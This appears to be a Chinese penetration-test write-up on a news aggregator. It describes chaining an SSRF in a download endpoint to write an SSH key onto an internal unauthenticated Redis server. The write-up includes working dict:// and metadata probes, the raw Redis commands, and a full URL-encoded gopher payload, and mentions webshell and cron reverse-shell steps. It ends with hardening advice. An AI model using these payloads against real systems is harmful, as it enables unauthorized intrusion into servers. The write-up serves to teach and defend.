当前位置: 首页 > news >正文

实战复盘:我是如何通过一个SSRF漏洞,利用Gopher协议拿下内网Redis的

从SSRF到内网Redis入侵:一次真实渗透测试的深度剖析

那天下午,我正在对某企业Web应用进行常规安全评估。一个看似普通的文件下载接口引起了我的注意——它接受URL参数并返回对应资源内容。直觉告诉我,这里可能存在SSRF漏洞。接下来的72小时,我完成了一次从外网到内网Redis服务的完整攻击链,以下是详细的技术复盘。

1. SSRF漏洞的发现与验证

测试环境中的文件下载接口形如:

/download?url=https://example.com/image.jpg

通过简单参数修改,我尝试访问内网地址:

curl "http://target.com/download?url=http://127.0.0.1"

服务器返回了本地服务的响应头信息,这确认了SSRF漏洞的存在。更关键的是,服务器配置允许访问任意协议,包括dict和gopher这类特殊协议。

常见SSRF检测方法对比

测试类型示例请求有效响应特征
基础回环检测url=http://127.0.0.1返回本地服务数据
协议探测url=dict://127.0.0.1:6379/info返回Redis服务信息
端口扫描url=http://127.0.0.1:8080响应时间差异判断端口状态
元数据服务探测url=http://169.254.169.254/latest返回云实例元数据

提示:现代云环境中,SSRF漏洞可能导致更严重的元数据服务泄露,测试时需特别注意

2. 内网服务探测与Redis识别

利用dict协议进行内网端口扫描时,6379端口的响应引起了我的注意:

$ curl "http://target.com/download?url=dict://192.168.1.10:6379/info" +OK redis_version:5.0.7 ...

通过分析返回信息,确认目标存在Redis未授权访问漏洞。Redis默认配置存在三个高危风险点:

  1. 无认证机制:默认不启用密码验证
  2. 高危命令未禁用:CONFIG、EVAL等命令可用
  3. 默认绑定所有接口:早期版本监听0.0.0.0

Redis安全配置检查清单

  • 启用requirepass参数设置强密码
  • 重命名或禁用CONFIG、FLUSHALL等危险命令
  • 设置bind 127.0.0.1限制监听范围
  • 启用protected-mode(Redis 3.2+)

3. Gopher协议攻击载荷构造

Gopher协议的强大之处在于它能构造任意格式的TCP流量。要攻击Redis,需要精确构造符合Redis协议的payload。以下是关键步骤:

  1. 原始Redis命令准备
flushall set exploit "\n\nssh-rsa AAAAB3Nza... mykey\n\n" config set dir /root/.ssh config set dbfilename authorized_keys save
  1. 协议转换规则
  • 每行命令以\r\n结尾
  • 前缀*N表示参数个数,$L表示参数长度
  • 特殊字符需URL编码
  1. 最终Gopher URL示例
gopher://192.168.1.10:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%247%0D%0Aexploit%0D%0A%2422%0D%0A%0A%0Assh-rsa%20AAA...%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2411%0D%0A/root/.ssh%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%2415%0D%0Aauthorized_keys%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A

注意:实际攻击中需要根据目标环境调整路径和密钥内容

4. 攻击链完整实现与防御建议

通过SSRF发送精心构造的Gopher请求后,成功实现了:

  1. 写入SSH公钥获取服务器权限
  2. 写入Webshell控制应用服务
  3. 通过定时任务获取反向shell

企业级防御方案

网络层防护

  • 出口流量过滤:限制内网服务对外请求
  • 网络分区:核心数据库隔离在独立VLAN
  • 端口访问控制:限制Redis等服务的可访问范围

系统层加固

# Redis安全配置示例 rename-command CONFIG "" rename-command FLUSHALL "" requirepass "STR0NG_P@SSW0RD" bind 127.0.0.1

应用层防护

  • 对用户输入的URL进行严格校验
  • 实现允许列表机制控制可访问域名
  • 禁用危险协议(dict/gopher等)

这次渗透测试最深刻的教训是:看似低危的SSRF漏洞,在特定条件下可能成为内网突破的致命入口。安全防护需要建立纵深防御体系,任何一个环节的疏忽都可能导致全线溃败。

http://www.jsqmd.com/news/809249/

相关文章:

  • 青岛鼎力信达起重设备租赁:靠谱的青岛吊车出租公司 - LYL仔仔
  • 揭秘Happy Island Designer:解锁你的岛屿设计超能力
  • 常州黄金回收哪里更透明?福正美用数据告诉你答案 - 福正美黄金回收
  • R语言数据分析革命:gptstudio集成GPT实现智能编程辅助
  • 技术解析:从多目标优化视角看多任务学习的帕累托最优解
  • 自动驾驶卡车软件平台:技术架构、核心玩家与商业化挑战
  • 从零构建Telegram群管机器人:Pyrogram+Telethon双框架实战指南
  • 如何为国际学校、教育集团选择校服定制供应商?评估整体解决方案的五大能力与四步流程 - 速递信息
  • 故障率降至0.1%:医用硅胶单向阀定制案例解析 - 速递信息
  • 京东物流第一季营收606亿:经调整净利10.5亿 拟斥资12亿美元回购
  • 纯铝排 导电铝排 铝排母线 6101铝排 接地扁铝厂家实测盘点:从工地配电到冷库的靠谱选择 - 奔跑123
  • ESP32-CAM图片上传踩坑实录:从Arduino环境配置到巴法云HTTP POST成功,我遇到的5个问题及解决办法
  • 当你的电脑被重复照片淹没时,这款智能工具如何拯救你的存储空间
  • 2026年乌鲁木齐太阳能路灯工程采购指南:本地源头工厂如何助力市政快速交付 - 优质企业观察收录
  • 别再死磕BERT了!用PyTorch从零搭建BiLSTM-CRF模型,搞定中文NER任务(附完整代码)
  • 微喷射冷却技术:破解芯片局部热点与高功率密度散热难题
  • 佛山粤利通市政工程:惠州诚信的沥青摊铺公司找哪家 - LYL仔仔
  • 用Multisim复刻经典:手把手教你搭建NE5532+LM1875双工对讲机(附仿真文件)
  • 2026年泰国名义雇主EOR服务精选Top 10排行榜,助力企业合规拓展新市场 - 万领钧KnitPeople
  • 对比自建代理与使用Taotoken在运维复杂度和可用性上的差异
  • Obsidian智能插件Smart Connections:基于语义理解的笔记关联与知识发现
  • gta4 2026最新破解版免费下载(速下 随时失效)
  • 无锡黄金回收避坑指南:如何选择靠谱机构?福正美成标杆 - 福正美黄金回收
  • 旋进旋涡流量计选型安装高频问答全解 - 速递信息
  • 给STM32的FTP服务器加上“北京时间”:基于NTP的RTC自动校时功能实现详解
  • 恒盛通美线直飞空派专线的清关流程是怎样的? - 恒盛通物流
  • 从‘气泡提示’到‘交互助手’:用C# Winform的ToolTip打造更友好的桌面应用
  • 无锡黄金回收怎么选?实测6家机构揭秘套路,福正美脱颖而出 - 福正美黄金回收
  • 用STM32F103C8T6+L298N驱动直流电机,从接线到调速的保姆级教程(附8档PWM代码)
  • 在OpenClaw中配置Taotoken作为你的Agent模型供应商